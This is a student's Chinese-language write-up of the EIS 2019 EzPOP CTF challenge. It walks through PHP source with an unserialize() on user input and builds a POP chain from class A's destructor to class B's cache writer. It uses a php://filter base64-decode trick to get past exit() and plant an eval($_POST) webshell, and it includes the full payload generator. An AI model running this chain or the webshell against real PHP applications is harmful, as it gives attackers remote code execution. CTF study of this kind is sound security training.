直接给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| <?php error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B {
protected function getExpireTime($expire): int { return (int) $expire; }
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { return true; }
return false; }
}
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
|
看到最后有个unserialize($_GET["data"]);
,反序列化参数是data
。
可控的类是A,
读一下代码 :
is_dir() : 检查指定的文件是否是目录。函数的结果会被缓存。使用 clearstatcache() 来清除缓存。
mkdir() : 新建目录
mode参数权限 :mode 参数包含三个八进制数按顺序分别指定了所有者、所有者所在的组以及所有人的访问限制。每一部分都可以通过加入所需的权限来计算出所要的权限。
1 ->文件可执行
2 ->文件可写
4 ->文件可读
array_flip() : 反转/交换数组中的键名和对应关联的键值。
array_intersect_key() :比较两个(或更多个)数组的键名 ,并返回交集。
json_encode() : 返回字符串,包含了 value 值 JSON 形式的表示。
is_numeric() : 检测变量是否为数字或数字字符串。
file_put_contents() : 将一个字符串写入文件
最后肯定是用B类的这个函数file_put_contents
写木马上传上去。写入的是$data,就是要动$expire。
1
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
|
这里有个死亡exit(),正好之前看了羊城杯里面用到的php伪协议绕过,这里可以用base64转码。php//exit是9个字节,还要3个字符一起凑个4的整数进行编码,注释符号采用换行绕过。
(由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略)。
跟进到这里:
1
| $expire = $this->options['expire'];
|
options['expire']
可控。
1 2 3 4
| if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
|
这里不进行数据压缩:options['data_compress'] = false;
A类释放的时候会调用save()
函数:
相当于调用getForStorage()
和set()
:
1
| $this->store->set($this->key, $contents, $this->expire);
|
A类里就没有set()
函数,所以store
应该是B类的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
|
让cache
是空就不用管那些反转的事儿了,现在要构造complete
,这个变量要经过json_encode
转换,用Base64加密数据解决json传输数据中特殊字符问题
最后跑一下:https://blog.csdn.net/gd_9988/article/details/106111902
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
class A { protected $store; protected $key; protected $expire;
public function __construct() { $this->cache = array(); $this->complete = base64_encode("xxx" . base64_encode('<?php @evxasasdaacakckahakcacacbcacaal($ee?_POST["ctf"]);?>')); $this->key = "my.php"; $this->store = new B(); $this->autosave = false; $this->expire = 0; } }
class B { public $options = array();
function __construct() { $this->options['serialize'] = 'base64_decode'; $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; $this->options['data_compress'] = false; } }
var_dump( urlencode(serialize(new A())));
|
蚁剑连一下。
这代码审计题磕了好几天,(能算两天的作业吧!)主要问题就是php学的还是太少了,自己平时也不敲php,所以看不太明白,一直是一点一点地查东西,挺喜欢这种审计题,收获很多嘛。
翻了一堆别人的wp才理解……我好难a。
军训完黑了三圈,在家不出门了!!!
参考
1.php chmod()函数 参数mode的含义
2.EIS2019-EzPOP
3.PHP的json_encode()函数与JSON对象
4.[EIS 2019]EzPOP
5.EIS2019-EzPOP